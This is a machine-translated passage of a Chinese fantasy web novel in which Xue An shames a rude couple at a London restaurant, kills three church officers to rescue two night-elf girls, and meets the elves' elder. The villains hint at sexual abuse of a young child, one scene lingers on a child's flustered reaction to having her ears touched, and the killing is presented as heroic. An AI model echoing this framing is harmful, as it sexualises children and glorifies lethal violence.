
    The food came quickly.


    Finally, it is no longer frying everything, but instead a carefully cooked steak.


    The two little girls were already hungry, so when they came up, they couldn''t wait to eat them with their hands.


    This scene also attracted a lot of people''s chuckles.


    However, in these kind laughs, there are always some not so harmonious voices.


    A Chinese woman with an artificial expression sneered: "Eat with her hands? It''s really rude and uneducated!"


    The man at the table with her also smiled disdainfully, "I guess you haven''t been to such a high-end restaurant before, can you eat Western food?"


    As he said, he deliberately showed off, picked up the knife and fork and began to cut the steak meticulously.


    Every action is very up to the standard, even the most demanding London gentleman can''t fault it.


    After a piece was cut, the man took a light bite, with an intoxicated look on his face.


    "It''s so delicious! And this elegant dining etiquette can only be mastered by real nobles!"


    The performance of the two attracted the attention of many people in the restaurant.


    The real London gentlemen looked inexplicable instead.


    After all, even the stodgy guardians will not eat like the two of them now, because they are simply looking for sin.


    But this did not hinder the superiority of the men and women who were about to burst.


    He even deliberately looked at Xue An with the same eyes as the demonstration.


    Naturally, the two little girls didn''t care about those, still eating with steak in their hands.


    Xue An raised his eyebrows slightly.


    Pretend to be noble in front of me?


    Then he waved.


    The waiter arrived immediately.


    "Sir, is there any need?"


    "Come on five pairs of chopsticks, we Chinese, we are not used to these things!" Xue An said lightly.


    As soon as this sentence came out, the man and woman looked at each other, and then couldn''t help laughing out loud.


    "You actually need chopsticks in a western restaurant of this grade?"


    "Yeah, that''s a real laugh!"


    The waiter also showed embarrassment, "Sir, I''m sorry, we don''t have chopsticks here..."


    Quintina said coldly from the side: "If you are not ready, then go buy it now, don''t delay my master''s meal, understand?"


    The waiter was slightly startled, "Miss, I..."


    Quintina shook her head, took out a delicate brooch, and pinned it to her chest.


    After seeing this brooch, the waiter was shocked and immediately said respectfully: "It turned out to be the respected Lord Earl, I will prepare now!"


    After speaking, he turned and hurried away.


    This scene surprised many people, and when many gray-haired London gentlemen saw Quintina''s brooch, they couldn''t help but get up and leave, nodding slightly.


    "Master Earl!"


    The expression is full of respect.


    Quintina nodded slightly, then turned to look at the dumbfounded man and woman, "What does my master want to eat, do you still need to comment?"


    When she said this, a flash of blood flashed in Quintina''s eyes.

 Chapter 372： Humiliation

    The men and women trembled, and there was a look of panic on their faces.


    For them who are brainless to the Chinese culture, they naturally understand what an earl means.


    Although it is no longer the Middle Ages, being able to hold the title of earl can still prove the person''s social status.


    "I...we..." The man stood up and hesitated to explain something.


    The waiter walked over in sweat, and the lobby manager followed.


    "Sir, here are the chopsticks you want!" The waiter put five pairs of brand new chopsticks on the table.


    The lobby manager stepped forward and smiled respectfully, "My Lord Earl, you and your distinguished friends are welcome to come and have dinner with us. Are there any dissatisfactions?"


    The lobby manager was also a little worried at the moment.


    He could see that Quintina''s other brooch was at least an antique that has been passed down for hundreds of years, which shows that she is not a newly-canonized earl, but from an ancient family.


    And the temperament of this Chinese is extremely noble, which shows that the identity is even more unusual.


    Such an existence should be treated with the highest courtesy and respect when they come to eat in their own restaurant.


    Quintina nodded, "The taste is not bad, the environment is said to be in the past, but the atmosphere is ruined by some people."


    After that, Quintina pointed to the pale man and woman, "I feel like ridiculing others, such ungentleman behavior makes me feel that eating with them is an insult!"


    This harsh reprimand made many people in the restaurant nod secretly.


    The lobby manager nodded respectfully, "I''m sorry for the trouble, Lord Earl, I will take care of this!"


    After that, he walked to the table of the pair of men and women, "Two, you are no longer welcome to enter here, please leave now!"


    "Why? You are discrimination!" The woman screamed, no longer the pretentious "aristocratic" demeanor just now.


    This shout also attracted a lot of people''s attention.


    Including Xue An also raised his eyes slightly and glanced here.


    "Discrimination? No!" The manager shook his head, and bowed his head respectfully to the distant Xue An and others, before turning his head to look at the couple.


    "It can be seen that you are also a Chinese! That distinguished gentleman is also a Chinese, why did we not let him leave? The reason is that your unprovoked ridicule is very narrow and prejudiced. We don��t welcome this kind of groundless ridicule to our compatriots. People! Please leave!"


    The woman was speechless and she wanted to say something.


    The man already nodded and bowed his waist and said, "Okay, Mr. Manager, let''s go now!"


    That look of flattery and panic made many people shook their heads secretly.


    If a person doesn''t respect himself first, then don''t think about being respected by others.


    The man and woman walked away dingy.


    After they left, the manager came over and said apologetically: "I''m sorry that you have been troubled by this aspect. In the future, we will pay more attention to the quality of the diners! If you have any questions, please feel free to contact me! Have a great meal!"


    After speaking, the manager quietly withdrew.


    When he was gone, Quintina let out a sigh of relief, and the noble fan she had just carried suddenly relaxed, and then whispered.


    "Worn out!"


    Xue An smiled, "You seem to dislike being a nobleman?"


    Quintina smiled disdainfully, "Fools are willing to be aristocrats, and really think that those aristocrats who have passed on for thousands of years will not eat the fireworks? In terms of long inheritance, which one is better than the blood? But the result is not the same superficially gentle, secretly But greedy and violent? All pretending to be a lie!"


    Xue An took this seriously and took a sip of red wine, "That''s right!"


    And here, An Yan is using his chopsticks to deal with the steak on the plate intently. After eating, his face is a bit dissatisfied.


    "I also hate western food the most. Such a big plate contains such a small piece of steak. Since I was young, I have not been full of western food. I have to order more noodles after I go back!"


    Quintina nodded in excitement, "The madam is right, and I feel the same way, so I will recommend you to eat those civilian restaurants two days ago. How can steaks have beef burgers that are delicious and affordable?"


    Xue An laughed dumbfounded, and then raised his hand.


    The waiter rushed over in an instant.


    "Mr!"


    "These steaks..." Xue An pointed to the plate on the table.


    "Let''s come again... well, ten copies!"


    Xue An''s words made the waiter dumbfounded, "Sir, are you sure you want ten copies?"


    "of course!"


    The waiter went to the back kitchen with a face full of confusion and ordered.


    Xue Anchong smiled indulgently, "Can you still keep you full with me? Open your belly to eat today, it''s a big deal... I''m full of this restaurant!"


    An Yan nodded with a smile, her face full of happiness.


    Quintina lowered her head enviously, feeling that the master would have no way to spoil her.


    quickly.


    The steak was served like running water.


    The two little girls started eating happily. UU reading www.uukANAnshu.com


    Xue An looked at him with a smile.


    At this moment, two people walked in through the door.


    The appearance of these two people made the restaurant quiet for a moment.


    Here are two girls, one big and one young.


    The older ones seem to be 17 or 18 years old, and the younger ones are only 5 or 6 years old.


    The two girls are wearing ordinary clothes, all with long hair, and their faces can only be described by the words Qingli Wushuang.


    It''s just that his expression is a little frightened.


    Many men looked at these two girls with amazing eyes.


    Xue An raised his eyebrows slightly, glanced at the two girls with interest, and then whispered to himself.


    "Is there such a thing in London? It''s really interesting."


    At this time, the waiter also came to a sense of surprise, and quickly stepped forward, "Two ladies, are you going to have dinner?"


    The older girl nodded, and the little girl said in innocent words: "I want to eat steak!"


    The waiter smiled and nodded.


    Although this restaurant is generally not open to strangers, it requires regular guests to invite you to eat.


    But in London, beautiful women represent the highest privilege, and they can be given preferential treatment in all aspects.


    And the waiter believed that if he dared to refuse the meal of two girls like this, it is estimated that these London gentlemen would break his head with crutches.


    "Please follow me!"


    The waiter quickly arranged an excellent position by the window for the two of them.


    The girl shook her head, "Please find us a corner, the less noticeable the better!"


    The waiter was startled slightly, and then understood, "Okay!"


    Then the two girls sat in a corner not far from Xue An''s table.


    When I saw these two girls, I didn''t want to eat anymore and watched with great interest.

 Chapter 373： 1 step away, like a moat

    Especially that young girl is very close to the age that I missed.


    And the appearance is very delicate and lovely.


    Children always like to play with their peers.


    Thinking and Nian Nian are no exception.


    So the two little girls have been looking at each other with bright eyes.


    When the little girl saw the eager eyes of the two little girls, her eyes lit up, and then she smiled with joy.


    But the girl looked at Xue An warily, and then whispered something.


    The light in the little girl''s eyes gradually dimmed, and then she lowered her head.


    At this time, the dishes ordered by the girl came to the table one after another.


    The two girls began to eat.


    I have to say that although the two ate quickly, they still looked very elegant in their gestures.


    This is a temperament that comes out of the bones, and you can''t pretend it.


    Thinking and Niannian said to Xue An with some loss: "Dad, why doesn''t that young lady want to play with us?"


    Xue An smiled faintly, "That''s because... some people are taking huge risks when they come out, so naturally they are full of guard against everyone!"


    Thinking and Niannian didn''t understand the meaning of Xue An''s words.


    I just feel a little sad.


    Because they really want to play with the little girl opposite.


    Even Quintina couldn''t help being a little curious about the origins of these two girls.


    "Master, they..."


    Xue An shook his head.


    Quintina closed her mouth.


    If the master doesn''t say it, there must be his reason. Don''t ask yourself anymore.


    The two girls ate quickly, and within a short while, all the food on the table was eaten.


    "Sister, I''m full!" the little girl said softly.


    The girl nodded, and then called the waiter.


    "Please make us another one, we have to take it away!"


    "Ok!"


    The waiter went to order the back kitchen to cook, and delivered some desserts.


    At this time, the girl''s face was less alert, and she rarely smiled.


    The two girls just ate their dessert and waited quietly.


    at last.


    A boy who was also seventeen or eighteen couldn''t help but stepped forward and said shyly: "This lady, my name is John, may I get to know..."


    The boy stumbled before he finished.


    The girl''s expression suddenly became tense, and then shook her head, "I''m sorry, I can''t!"


    The boy was a little dazed by such a straightforward refusal. After a meeting, he forced a smile and said, "Well, please believe me, I really have no intentions!"


    The young girl put a few bills on the table like a frightened rabbit, then grabbed her sister''s hand, stood up and walked out.


    "Madam, this is the meal you want to pack..." At this moment, the waiter just came out carrying the bag and hurriedly shouted when he saw the girl panicked from the back.


    But the girl ran faster, as if she ran away.


    The boy was a little dumbfounded, and he didn''t expect that an ordinary hit-up by himself would cause such a big reaction from the girl.


    Many people can''t help but look at each other.


    This girl is too courageous, it''s just an accost, as for such a big reaction?


    At this moment, Xue An smiled and said, "Are you full?"


    An Yan nodded, "It''s so full!"


    "If you are full, I will lead you to see the excitement." Xue An said lightly.


    "What''s the excitement?" Think about it.


    Xue An smiled, "Naturally...about the excitement of the two little girls!"


    Outside the restaurant.


    The sky of London began to fall again with rain.


    Most of the pedestrians on the street are holding black umbrellas and walking unhurriedly.


    For them, it rains every day in London. If it does not rain, it would be news.


    So it''s no surprise.


    And on the street on this rainy night, the girl took her sister''s hand and ran as fast as a frightened bird.


    The speed was so fast that he even left many phantoms behind him.


    Wherever he went, the startled rains made many pedestrians think they were dazzled.


    Finally, they ran to a remote street far from the busy city.


    Then she leaned against the wall and watched the surrounding night vigilantly. After a long time, the girl let out a long sigh of relief.


    "Sister, is the bad guy chasing you?" the little girl asked with some anxiety.


    The girl shook her head, "It shouldn''t be there. I didn''t notice the breath of those people."


    "Sister, I''m not good, I shouldn''t be greedy to go to eat steak, if we are at home, this kind of thing will not happen." The little girl said sadly.


    The girl touched her sister''s head distressedly, "Okay, let''s not talk about it, let''s go home quickly, if the elder discovers that we are missing, we will definitely be in a hurry!"


    The two girls are preparing to leave this alley.


    The rain that was falling suddenly disappeared.


    The world around has also become quiet.


    It was as if a layer of film had wrapped up this alley, and cut off all contact with the outside world The girl''s complexion changed drastically, and she shouted in panic, "Hold me!"


    The little girl was even more scared and her face was earthy, and she firmly grasped her sister''s hand.


    The girl went straight to the alley like an arrow from the string.


    The speed is so fast that the disturbing night is trembling slightly.


    But at this moment, a voice full of greed and surprise came.


    "It''s been a long time since I saw such a good product!"


    The girl had already rushed to the entrance of the alley at this moment, and was just one step away onto the street outside.


    But this step is like a moat, which is impossible to cross.


    The girl was anxious, and as soon as she raised her hand, the black brilliance condensed into her palm, and then cut to this layer of barrier.


    But no matter how she chopped it, the thin light curtain only trembled slightly, and there was no sign of breaking.


    Another voice came, "It''s useless, even your elders can''t break this kind of light barrier, let alone you two!"


    The girl''s expression gradually became desperate.


    Following the voice, two deacons wearing purple uniforms walked slowly from the depths of the alley.


    Behind them, there was a man in a scarlet robe.


    The girl was finally completely desperate.


    Two purple-clothed deacons and one scarlet-clothed executive officer!


    Such a lineup is not something she can match.


    At this moment, the three of them stared at the girl, all with greedy faces.


    "It''s a rare and best product! If you offer it, the Bishop will be very happy for a while!"


    "This small one is not bad, many adults like it! If you grow up slowly, it will have a special taste."


    These three discussed unscrupulously, and the girl''s complexion became paler.


    Then he gritted his teeth and a touch of determination flashed in his eyes.


    "Sister, I guess it will hurt in a while, hold on!"

 Chapter 374： Night Elf

    The little girl was trembling with fear, but nodded after hearing what her sister said, and then said with a cry, "Sister, blame me..."


    The girl shook her head, "We are not wrong, it is these people who are wrong!"


    As she said, her expression gradually became holy, and her eyes were burning with bright light.


    At the same time, under her long hair, two pointed ears gradually appeared.


    "Stop her, this little girl is about to explode and sacrifice!" The scarlet executive officer instructed coldly.


    The two purple-clothed deacons grinned and said, "Executives, don''t worry, since they have fallen into our palms, it is impossible for them to die now!"


    As they spoke, a holy radiance appeared on their faces.


    "The Lord said, there must be light!"


    After a low chant, a bright light like a shackle trapped the girl firmly.


    Wherever the light touched, black smoke emerged from the girl''s body, and she let out a scream.


    The little girl cried bitterly, "Sister!"


    The girl lay on the ground in pain, trembling uncontrollably, and then said with all her last effort, "Sister, hurry up and explode! Don''t live!"


    There was endless despair in his voice.


    Because she knew that once it fell into the hands of this group of people, what awaited them would be endless insults.


    She has been tied up, and there is no chance of death.


    But she couldn''t let her sister fall into the endless darkness.


    When the little girl heard the words, there was a decisive color on her face, the black light in her eyes was strong, and her little ears with a light golden halo came out of her hair.


    "Royal family? Haha! It was really lucky this time, I was able to catch such a stuff!" The two purple-clothed deacons were overjoyed.


    Before they could do anything, the Scarlet Executor waved his hand and a cross beam flew out.


    The little girl was firmly trapped on the beam cross in a big font.


    "No!" the girl shouted sternly.


    "Under the glory of God, heretics like you can only use your bodies to atone for their sins!" The Scarlet Executive Officer said lightly.


    But at this moment, a calm voice came.


    "Making innocents in the name of God, is this...is the glory of your so-called bright ones?"


    "Who?" The three were shocked.


    "A passing person!" With the voice, Xue An passed through the light curtain at the entrance of the alley and walked slowly over.


    "We are members of the Bright Church, we are destroying heretics, please leave now!" The two purple-clothed deacons looked at each other, and then said in a deep voice.


    The scene when Xue An saw the light barrier as nothing left them secretly shocked, so they didn''t want to conflict with Xue An.


    The **** the ground looked at Xue An with shocked eyes.


    Isn''t this the Chinese man I met in the restaurant?


    How could he appear here?


    Xue An lowered his head and smiled at her, "Elves? It seems that they are still rare night elves! I didn''t expect that there are groups like you in this world."


    One sentence reveals the origin of the girl.


    The girl was shocked, she was shocked, and did not react at all.


    The little girl had already cried and said, "Uncle, please save us. They are all bad guys. They arrested us to bully us, and we are not heretics!"


    Xue An smiled softly, "Don''t be afraid, don''t cry."


    Said, raised his hand.


    The light that firmly bound the two girls was like seeing a courtier seeing the emperor, and fled in panic.


    This hand shocked the three members of the Bright Church.


    how is this possible?


    How could he crack the teachings of light at will?


    Then Xue An looked up at the stunned three people, and said lightly, "What I hate the most is people like you who use high-sounding excuses to do sinister and vicious things."


    "So... how are you going to die?"


    At this time, the three of them also recovered from the shock, and then the scarlet executive gave a gloomy smile.


    "Huaxia Xiu? I admit that you are indeed very powerful, but you have to make it clear that we are members of the Bright Church, and I am even a scarlet executive officer of the Heresy Tribunal!" said this proudly With.


    "The existence of these two night elves is an insult to the light, so we should eliminate them as well. If you leave now, I can assume that nothing has happened, otherwise..."


    "Otherwise?" Xue An raised his eyebrows slightly.


    "Otherwise, our Bright Church will not let anyone dare to oppose us."


    Xue An smiled, "It sounds like a bluff! It''s a pity..."


    As Xue An said, taking a step forward, countless sword lights suddenly floated up.


    "In my eyes, even the gods you believe in are just ants, not to mention you!"


    As he spoke, these sword glows covered the sky and covered the sun.


    The powerful murderous intent made these three people shocked.


    "Shenguang!" The scarlet executive roared.


    A curtain of light enveloped him.


    But the two deacons in purple clothes didn''t have time to resist, they were slaughtered into blood by this sword light.


    "Who are you? Why are you against us!" The Scarlet Executive yelled in horror.


    "Me? I''m just a person who drew his sword to help in the face of trouble!"


    With that, Xue An waved his hand and these sword lights completely covered the light curtain.


    However, after a short breath, the light curtain was completely shattered, and the Scarlet Executor screamed sternly, and there was no more sound.


    Wait for the sword light to disperse.


    Only the three pools of blood on the ground prove that they once existed.


    Then Xue An turned around, looked at the dumbfounded two night elves, and smiled slightly.


    "Well, you are safe now!"


    The young girl and the little girl trembled all over, then bowed their heads respectfully.


    "Night elf, Yuna!" said the girl.


    "Royal night elves, Isabella!" said the little girl.


    "Thanks for your help!" the two said in unison.


    Xue An smiled faintly, "It''s just a matter of raising a hand, it''s nothing. I''m really curious, how can your ethnic group exist in this world?"


    Xue An meant to say that the aura in this world is now barren, and as the spirit bred by the aura of heaven and earth, logically speaking, it should have long since ceased to exist.


    Yuna''s face showed hesitation.


    Xue An waved his hand, "Okay, don''t force yourself to say it."


    Then he smiled at the dark night royal family Isabella and said, "My two daughters have been talking about playing with you!"


    Isabella''s eyes gradually lit up and nodded heavily.


    The friendship of children always progresses quickly.


    Like now.


    Missing Nian and this Isabella are already close like sisters.


    Yuna has been a little restless.


    Xue An smiled, "Are you afraid of people from the church coming to retaliate?"


    Yuna nodded, panic appeared on her face.


    After so many years of hunting and killing, the Church of Illumination has become their deepest nightmare. (https://) "Invincible, Starting from Xianzun Dad" only represents the author''s point of view for a dollar of sunshine. If you find that its content violates national laws and conflicts, please delete it. https://''s position Only committed to providing a healthy and green reading platform. ����,thank you all!

 Chapter 375： Light pest

    Quintina on the side heard the words of Bright Church and couldn''t help groaning.


    "This group of bright pests are really annoying!"


    Yuna glanced at Quintina suspiciously.


    Quintina smiled, and blood grew in her eyes.


    "Blood!" Yuna exclaimed.


    "To be precise, it is the Count of the Blood Race!" Quintina said proudly.


    Yuna looked at Xue An in surprise.


    She didn''t expect that the blood race, who had always been known for its arrogance, would actually surrender to a human being.


    Who is he?


    Yuna was wondering.


    Missing Nian ran over, "Dad, Bella is going back, but we still want to play with her!"


    "My lord, we really have to leave, otherwise the family will find us missing and we will die!" Isabella walked over and said.


    Xue An smiled, "Then let''s take you home!"


    Isabella''s eyes lit up, she also wanted to play with Miss Miss, but she was afraid that her sister would disagree, so she secretly looked at Yuna.


    Yuna hesitated for a moment, and then nodded, "In that case, thank you sir!"


    Yuna understood that when Xue An sent her two home, she was also protecting them.


    At this time, An Yan couldn''t restrain the curiosity in her heart. She stepped forward and smiled and said to Isabella: "Little Bella, are your ears real?"


    Isabella blushed, lowered her head and squatted and said, "Of course... of course it''s true!"


    An Yan''s eyes brightened, "Then can I... touch it?"


    Isabella blushed even more when she heard it, and looked at Yuna for help.


    Yuna was a little dumbfounded, but she couldn''t say anything.


    And An Yan already said in a nearly begging voice: "Just a moment, I promise to touch it!"


    "Okay... OK!" Isabella lowered her head, her ears red shyly.


    An Yan stretched out her hand and stroked Isabella''s pointed ear lightly, her expression gradually becoming intoxicated.


    "So soft, so cute!"


    It feels like petting a little pet cat.


    But at this moment, Isabella seemed to be drunk, blushing and trembling all over, and then thumped and fell to the ground.


    "What''s the matter?" An Yan was taken aback, thinking that he had touched it.


    Yuna stepped forward to take a look, and shook her head dumbfounded, "It''s okay, but Bella has never been touched by someone''s ears, and she was suddenly touched, and she was dizzy."


    An Yan patted her chest, let out a breath, and said apologetically, "I''m sorry! I didn''t mean it! But your ears are really cute!"


    Yuna''s face was flushed to the root of her ears, and she said in expectation, "We... let''s go back quickly!"


    Waiting on the way to the night elf home, An Yan whispered to Xue An, "I really like the soft ears, really like a little cat!"


    Xue An smiled, "If you like, raise one?"


    "Can you?" An Yan''s eyes lit up.


    "Of course! What my wife wants to do, can''t she do it?" Xue An smiled faintly.


    But An Yan hesitated for a moment, then shook his head, "No more!"


    "why?"


    "Because they are friends who miss and miss, how can I keep my daughter''s friends as pets!" An Yan said.


    This way has gone a long way.


    I have been waiting to arrive at a deserted farm on the outskirts of London.


    Yuna stopped, knocked a few times on a big tree in front of the door, and then said something in a very soft voice.


    Although I don''t understand what I''m talking about, it still makes people feel very pleasant.


    "Husband, what is she talking about?"


    "She speaks Elvish!"


    "I see, I must be chanting a spell, right! Just like the magicians in those novels!" An Yan said excitedly.


    Xue An smiled, "How complicated, what she said translated into Chinese is...Open Sesame!"


    really.


    As soon as Yuna''s voice fell, there was a rustling sound from above the big tree, and then countless branches stretched out to form a path composed of branches and leaves.


    "My lord, welcome to the night elf residence!" Yuna said respectfully.


    When they walked this path and passed through a curtain of vines, their eyes suddenly opened up.


    This is a piece of land about the size of several thousand acres.


    Countless towering ancient trees grow in them, like giants.


    But they are all children compared with the tree in the middle of the forest.


    That tree can catch the sky and occupies more than half of the area.


    From a distance, you can see that there are many tree holes between the branches of this big tree, and many people are coming in and out.


    But when you take a closer look, you will find that all those people have pointed ears, and they are very handsome regardless of men and women.


    The spectacle of this scene made An Yan and others astonished.


    Xue An looked at the giant tree with interest, and whispered to himself: "It''s interesting!"


    At this moment, a squad of elves rushed over, led by a very handsome male elves When they saw Yuna and Isabel, the male elves let out a sigh of relief.


    "Mother God, you are all right!"


    Then he said anxiously, "Elder Luna is going crazy, go back! Hey, these people are..."


    The male elves showed a look of alertness, and the elves behind him all raised their bows and arrows and aimed them at Xue An.


    "Efro, stop, this is the adult who saved us!" Isabel yelled.


    Evro was startled, with a skeptical look on his face, but he still stepped back, pressing his hands on his chest respectfully, bending over and saying, "Yes, Princess Isabel!"


    Isabel turned her head and said, "My lord, that tree is the mother **** of our night elves!"


    As he said, his face was full of admiration.


    Just like the mother, this giant tree bred and protected the group of night elves.


    In their minds, this is their mother god!


    Xue An smiled slightly and said nothing.


    On the contrary, An Yan has been whispering to herself, "A lot of small furry ears! God, I really want to touch it!"


    That''s right, An Yan was poked cute in the ears of these elves.


    This situation continued until he entered the chamber of the night elves.


    Because of the arrival of Xue An and his party, the entire elves were a sensation, and all the elves came together to watch the excitement.


    This time An Yan''s eyes were shining straight, and the formation really wanted to pick up a little elf and stroke it a few times as a cat.


    At this moment, the wooden door opened, and a white-haired elf woman slowly walked out.


    On her forehead there is a jewel that symbolizes authority, dazzling, and her face is even more solemn and compassionate.


    Seeing her, many night elves all bend down and salute.


    Isabel even said softly: "Elder Luna!"

 Chapter 376： The fairy goddess is about to die, the druid comes

    Elder Luna nodded, but looked at Yuna who was aside, "Yuna, have you taken your Highness down to the outside world, have you considered the consequences?"


    Yuna lowered her head in shame.


    Isabel hurriedly said: "Elder Luna, this is all my fault, I must go out! Please don''t blame Yuna!"


    Elder Luna sighed helplessly, "His Royal Highness, I really don''t understand, why do you want to go out so much?"


    Isabel blushed and said softly: "I...I like eating outside food so much, that''s why I... just ran out!"


    This reason made Luna couldn''t help crying and laughing, so she shook her head and sighed: "Well, this time you know how dangerous the outside world is."


    Then Luna looked at Xue An and others, smiled and said, "The strong man among humans, thank you for your help!"


    Xue An smiled, "It''s all a matter of effort!"


    "Elder Luna, this adult is amazing, two bad guys in purple clothes and one bad guy in a crimson robe have been wiped out by him!" Isabel said excitedly.


    This sentence caused a commotion among the elves.


    Even Luna couldn''t help changing her color slightly.


    "Deacon in purple and executive officer in scarlet clothes? You two went out this time, unexpectedly met such a powerful opponent?"


    Yuna nodded, "Yes!"


    Luna took a deep breath and solemnly bent over to Xue An.


    "The strong, you have won the friendship and respect of our night elves!"


    Following her movements, all the elves also bent over to salute Xue An.


    Xue An smiled and didn''t say anything.


    On the contrary, An Yan looked at these elves with little stars, not knowing what he was thinking.


    Isabel missed her and didn''t know where she went to play.


    In this world, everything is friendly and beautiful, and there is no need to worry about others.


    An Yan and Quintina are invited by Yuna to play in their tree hole, which is also the highest courtesy to guests.


    Elder Luna kept Xue An.


    "The strong, I want to say a few words to you."


    Xue An seemed to have expected it, smiled and nodded.


    After there are two people left in the chamber.


    Luna smiled bitterly, "Strong man, what is your current cultivation base? Longevity?"


    "Half a long life!" Xue An said lightly.


    "Sure enough! The air on your body is like the sea, so I can''t see through it." Luna sighed, then a sad expression appeared on her face.


    "The strong, since you dare to kill the people of the Bright Church and save Isabel and Yuna, I want to ask you one thing!"


    "Take Isabel?" Xue An asked indifferently.


    Luna froze, then nodded solemnly, "Strong man, you seem to know something."


    Xue An smiled and looked at the roof of the chamber, saying that it was the roof, which was actually the heart of this giant tree.


    "This secret realm should have been formed naturally by this giant tree!"


    A look of horror appeared on Luna''s face.


    Xue An continued: "I was still a little curious before, the world is so barren, how did you elves survived until I saw this giant tree!"


    "This giant tree actually grows in the gap of space, and the roots of the tree have plunged into the unknown world. Only in this way can you continuously replenish the aura to this secret realm, thus nurturing and protecting you, is that right? ?"


    After listening to Xue An''s words, Luna finally couldn''t keep calm.


    "you����."


    "How can I know so much?" Xue An smiled, "Don''t worry, I don''t mean anything else, otherwise I won''t take the initiative to save Yuna and the others, and I can see that this giant tree... about to die!"


    This sentence was like a horror. The shocked Luna was stunned. After a long time, she nodded sadly, "Sure enough, the prophecies that Lord Mother God said to me have been fulfilled, and you really are not an ordinary strong person!"


    Then Luna took a deep breath and said solemnly: "My lord, I know this request may be too much, but Isabel is the last child conceived by the mother godmother, and the last hope of the night elves. I don''t know about this secret world. How long can I last? I want you to take her away!"


    As he was talking, Ephro walked in angrily.


    "Elder Luna, the traitor Aurorui has returned, and he also brought a few druids!"


    Luna couldn''t help but change her face when she heard these words.


    "Which druid?"


    At this moment, I heard laughter from outside, "Luna, long time no see!"


    As he said, a man in a thorny gold robe walked in, followed by a group of people, one of whom had pointed ears, and should be the traitor Aurorui.


    Luna''s complexion became difficult to look upon seeing this burly man.


    "Druid high priest, Stukri!"


    Stukeli smiled, "Luna, it''s only a hundred years since we last met. I didn''t expect your appearance to be so old!"


    Hearing these words, Ivero''s expression became more and more angry For their group of night elves, Mother God is the first and Luna Elder is second.


    Luna is the spokesperson of the mother goddess.


    Now that Stukri is disrespectful of God''s spokesperson, this is naturally unbearable.


    Just before the attack, Luna waved her hand, and then stared at Stukri and Aurorui standing behind him.


    "Aurora, I didn''t expect you to join the druid in the end. Have you forgotten that elves are always neutral?"


    When Aurorui faced Luna, a look of shame flashed on his face, but he took a deep breath and said: "Elder Luna, yes, we elves should always remain neutral, but for so many years we have been The various oppressions of the Bright Church have even become playthings."


    "If you don''t make any changes at this time, then the night elves will be completely finished!"


    "Then joining the Druid and becoming a member of the Dark Council, even if it is the flexibility you said?" Luna said angrily.


    Aurorui was silent for a moment, then whispered: "Yes! In this case, at least we can compete with the Church of Light!"


    A sneer smile appeared on Luna''s face, and then looked at Stukri, "Your High Priest of Druid, what are you going to do when you come to our night elf residence?"


    Stukeli smiled slightly, "Elder Luna, I sympathize with your experience, and at the same time I have discovered some things about your fairyland."


    "About us?"


    Stukri nodded, "To be precise, it''s about your mother **** tree!"


    "Although you have been hiding well, but I am an archdruid who knows the heart of nature, so I can feel that this secret is gradually shrinking. To put it bluntly, your mother **** tree is gradually dying. !" Stukeli said lightly.

 Chapter 377： Heart of nature

    Ephro roared, "You dare to insult our mother god, I want to fight you!"


    Stukeli ignored Ivero, just looked at Luna.


    The look on Luna''s face was complicated.


    She knew that this matter could not be kept for long.


    Mother God, it has been a long time since she answered her prayers.


    In the last response, it only told Luna one thing, that a strong human would come, and all the night elves'' hopes were in this person.


    After learning about this oracle, Luna has been waiting hard.


    But what I didn''t expect was that when Xue An appeared with great difficulty, Stokely followed.


    "So what?" Luna said lightly.


    Efro was startled and said in disbelief: "Elder Luna!"


    He couldn''t believe that the gods that he and the entire elves depended on were actually dead!


    Stukeli smiled slightly, and looked up at the heart of the tree on the chamber, a look of greed flashed deep in his eyes.


    "I can feel that even though she is dead, there is still an extremely surging energy in the heart of the tree. As long as you give me the heart of the tree, my druid line will give you night elves a shelter. And protect you!"


    Stukeli''s words made the whole room silent.


    Luna sat blankly, while Ephro was stunned. After a while, he roared: "The beauty you think about, how could my mother goddess die? You vilify him and die!"


    As he spoke, Ephro raised his bow and arrow and shot.


    Stukeli shook his head slightly, his face showed sarcasm, these arrows all stopped when they got close, while Ivero gradually floated up, his hands and feet were firmly bound by a few vines that appeared out of thin air. .


    "How much your strength has lost, don''t you know it in your heart?" Stokeli said lightly.


    Efro in midair showed a look of despair.


    In the past few years, he did not feel that he was weak all the time, and he had an ominous premonition in his heart, but he had never thought about it.


    Luna waved her hand suddenly, "Enough!"


    boom.


    The vines that bound Ivero were drunk directly by this sound.


    Ivero fell in midair.


    Then Luna stared at Stukri coldly, "Sacrifice your lord, do you mean to let us all of the night elves become vassals of your druids?"


    "Can you say the same?"


    Luna looked at Aurorui with a sneer expression on her face, "Aurorui, is this your so-called workaround? It''s just that you have changed from being oppressed by the Church of Light to being oppressed by their druids. Is there any difference? "


    Stukeli said coldly: "Luna, see we met before, and since the druid and your elves belong to the same line of nature, I promise to let you night elves live a peaceful life!"


    Luna shook her head firmly, "Don''t say it! The night elves will never leave the Mother Goddess! Even if she is really dead, we will guard her to the end, even the dead, we will not hesitate! "


    "Yes! Even the dead clan will not hesitate!" Ivero said solemnly.


    Stukeli sneered, "This is the end of the matter, but you can''t help it!"


    With that, a powerful force of nature enveloped the entire chamber.


    Stukeli said proudly: "Luna, I used to be equal to you, but now you are not my opponent at all. Give up unnecessary resistance, I will not hurt you!"


    Luna shook her head decisively, "You know, it''s absolutely impossible!"


    Then she looked at Xue An with an almost pleading look.


    I want Xue An to take Isabella and Yuna away as soon as possible.


    Stukeli had just noticed the existence of Xue An, but he was just a human, and he didn''t care.


    Xue An smiled slightly, and then nodded slightly to Luna, "I''m sorry, I can''t leave with Isabella!"


    Luna was taken aback, a look of despair appeared on her face.


    Stukeli sneered, thinking that Xue An had succumbed under his pressure.


    But then Xue An''s words shocked him.


    "Actually, I just got in touch with your mother goddess. She is indeed weak now, but she is not dead yet."


    This sentence made Luna stunned, "What?"


    She hasn''t made contact with the mother **** for a long time, but this man can communicate with the mother god?


    Stukeli''s expression turned gloomy, "Human, I advise you to keep your business as good as possible! Otherwise..."


    Xue An said lightly: "Otherwise what? The dark druids outside the secret realm are all yours? Are you planning to get out of talks and then just kill the night elves?"


    This sentence made Stoke''s face changed drastically, "You...you..."


    Then gritted his teeth and said bitterly: "You said you didn''t die if you didn''t die? Then why did she never show up? You know, I am dealing with her spokesperson in her heart now!"


    Stukeley��s words were full of sarcasm.


    Xue An ignored him, but flicked a finger to draw a mysterious Fajue in the air. With a wave of his hand, Fajue was printed on the roof of the chamber.


    boom.


    After a slight tremor.


    A tired female voice appeared in the hearts of everyone present.


    "Luna Thank you for your hard work these days!"


    Heard this sentence.


    Luna shook her whole body, then burst into tears with excitement.


    Ivero knelt on the ground with excitement.
